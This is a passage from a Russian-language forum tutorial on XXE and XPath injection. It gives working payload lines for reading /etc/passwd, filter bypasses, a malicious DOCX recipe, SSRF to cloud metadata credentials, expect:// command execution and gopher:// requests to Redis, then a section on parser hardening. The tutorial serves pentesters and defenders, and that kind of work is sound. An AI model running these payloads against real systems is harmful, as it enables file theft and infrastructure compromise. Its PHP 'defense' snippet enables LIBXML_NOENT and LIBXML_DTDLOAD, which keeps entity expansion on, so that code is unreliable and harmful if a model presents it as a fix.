DOCX - это ZIP-архив, содержащий XML-файлы: word/document.xml, [Content_Types].xml и другие. Можно добавить DTD в document.xml и вставить сущность. Пример создания вредоносного DOCX:
  1. Создаём обычный документ, сохраняем как DOCX.
  2. Распаковываем: unzip doc.docx -d doc_unpacked.
  3. В файле word/document.xml перед корневым элементом w:document вставляем DOCTYPE с внешней сущностью, ссылающейся на файл.
  4. Также в теле документа вставляем ссылку на сущность, например, в тексте.
  5. Запаковываем обратно: cd doc_unpacked &amp;&amp; zip -r ../malicious.docx *.
При загрузке такого документа на сервер (если он парсит XML) содержимое файла может быть извлечено.

3.6. Обход фильтров​

Иногда разработчики блокируют ключевые слова вроде !ENTITY, SYSTEM. Можно попробовать:
  • Использовать PUBLIC вместо SYSTEM: !ENTITY xxe PUBLIC "anything" "file:///etc/passwd"
  • Использовать кодировки: UTF-7, UTF-16. Если парсер определяет кодировку из BOM или заголовка, можно перекодировать XML.
  • Использовать параметрические сущности, чтобы скрыть строку SYSTEM: например, !ENTITY % sys "SYSTEM" !ENTITY xxe %sys; "file:///etc/passwd".
  • Использовать внешний DTD: все ключевые слова уходят на внешний сервер, а в основном XML только !DOCTYPE foo SYSTEM " ".
В некоторых случаях можно использовать xml-stylesheet для выполнения XXE, но это редкость.


4. Escalation: От файлов к RCE​

4.1. XXE → SSRF​

Самый простой способ эскалации - использовать XXE для доступа к внутренним ресурсам. Например, заменить file:// на http:// и обращаться к внутренним серверам.

Пример:

XML:
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
Это может выдать временные ключи AWS. Аналогично для Google Cloud, DigitalOcean и т.д. Если приложение в облаке, это верный путь к компрометации инфраструктуры.

Также можно просканировать внутренние порты: подставлять разные порты и анализировать время ответа или ошибки. Это SSRF.

4.2. XXE → RCE​

Есть несколько путей:
  • PHP expect wrapper: если на сервере PHP и включена поддержка expect (редко, но бывает), можно выполнить команду: !ENTITY xxe SYSTEM "expect://id". Ответ вернёт вывод команды.
  • Загрузка файла и его включение: если через XXE мы можем прочитать файл, который потом включается в код (например, log-файл с PHP-кодом), можно получить RCE. Это сложнее, требует стечения обстоятельств.
  • SSRF во внутренние сервисы управления: например, доступ к Redis без пароля, через который можно выполнить команды (если Redis на localhost). Или к Hadoop YARN ResourceManager, который позволяет выполнять задачи. Или к Consul/etcd API. Или к метаданным облака, откуда получить ключи и уже через них управлять инфраструктурой.
  • Java deserialization: если через XXE можно отправить запрос на внутренний сервер, который принимает сериализованные объекты (например, JMX), можно попробовать эксплойт.
Пример SSRF к Redis:

XML:
<!ENTITY xxe SYSTEM "http://localhost:6379/">
Но это не выполнит команду напрямую. Чтобы отправить команду Redis, нужно сформировать правильный запрос в формате RESP. Это сложно через GET. Но можно использовать gopher:// или dict:// протоколы, если парсер их поддерживает. В Java URLConnection поддерживает gopher, можно отправить команду Redis.

Пример gopher:// для Redis: gopher://localhost:6379/_*2%0d%0a$4%0d%0aINFO%0d%0a. Надо кодировать.

4.3. Извлечение всей XML-базы через XPath​

Если у нас есть Boolean-based XPath injection, мы можем вытащить не только имена пользователей, но и все узлы. Для этого нужно знать структуру XML. Если не знаем, можем её перебрать: имена тегов, атрибуты. Используем функции name(), local-name(), namespace-uri().

Пример: узнать имя первого дочернего элемента корня:

Код:
name(/*[1])
Можно получить все имена тегов, перебирая позиции.

4.4. Комбинированные атаки​

Иногда XXE и XPath могут работать вместе. Например, через XXE мы можем прочитать файл с XML-данными, который используется для XPath-запросов. Или через XPath мы можем записать что-то в XML (если приложение использует XQuery для обновления), что приведёт к XXE при последующем парсинге.


5. Защита: Как не быть уязвимым​

Теперь о том, как разработчикам и безопасникам закрыть эти дыры. Если ты на стороне атакующего, это поможет понять, на что обращать внимание.

5.1. Отключение внешних сущностей​

Самое главное - отключить обработку DTD и внешних сущностей в парсере. Примеры для разных языков:

Java (DocumentBuilderFactory):

Java:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

Python (lxml):

Python:
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False)
tree = etree.parse(xml_file, parser)

PHP:

PHP:
libxml_disable_entity_loader(true);
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);

C# (.NET):

C#:
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
XmlReader reader = XmlReader.Create(stream, settings);

5.2. Валидация входных данных​

  • Использовать whitelist разрешённых тегов и атрибутов.
  • Не использовать XPath с подстановкой пользовательского ввода. Лучше использовать параметризованные запросы (XPath не поддерживает параметры, но можно использовать переменные через XQuery или предварительную обработку).
  • Если XPath неизбежен, экранировать кавычки и специальные символы. Но полная защита сложна, лучше избегать.

5.3. Архитектурные решения​

  • Использовать JSON вместо XML везде, где возможно. JSON не имеет DTD, и парсеры по умолчанию безопасны (но надо быть осторожным с JSON-инъекциями, это другая тема).
  • Если XML необходим, использовать безопасные библиотеки вроде defusedxml в Python.
  • Применять WAF с сигнатурами на XXE: блокировать DOCTYPE, ENTITY, SYSTEM в запросах.

5.4. SAML Hardening​

  • Всегда проверять подпись SAML-сообщений.
  • Использовать каноникализацию перед проверкой подписи (чтобы избежать атак с использованием пробелов).
  • Отключать DTD в SAML-парсерах.
  • Проверять, что XML не содержит DOCTYPE.

5.5. Регулярные тестирования​

  • Включать XXE и XPath тесты в CI/CD.
  • Использовать SAST-сканеры для поиска опасных вызовов парсеров.
  • Проводить пентесты с акцентом на XML-векторы.

Заключение​

Казалось бы, 2026 год на дворе. Все кричат про GraphQL, REST на JSON, gRPC, protobuf. Но enterprise-миром правят не модные технологии, а те, которые работали последние 20 лет. SOAP-сервисы, SAML-федерации, импорт конфигов в XML - это не баги, а фичи, которые так просто не выпилишь. Потому что за ними стоят многомиллионные интеграции, контракты и бюрократия.

И пока какой-нибудь джуниор пилит новый микросервис на Go, в соседнем дата-центре крутится древний Java-монолит с XML-парсером, который никто не трогал со времён выхода JDK 6. И вот этот монолит доверчиво парсит SAML-респонсы, потому что «SAML же подписан, чего бояться?». А мы с тобой знаем, что подпись не спасает от DOCTYPE, если парсер его хавает до проверки подписи.

Вывод: XML - это не мёртвый язык, это спящий гигант. И если ты, как пентестер или AppSec-инженер, не смотришь в его сторону, ты упускаешь огромный пласт уязвимостей.

XML - это как старый друг, который иногда просит в долг. Ты знаешь, что он ненадёжен, но отказать неудобно. В итоге он тебя подставляет. Не давайте XML-парсерам шанса вас подставить. Отключайте внешние сущности, экранируйте ввод, используйте JSON где можно. А если приходится работать с XML - делайте это с холодной головой и горячим сердцем.
 
Последнее редактирование модератором:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab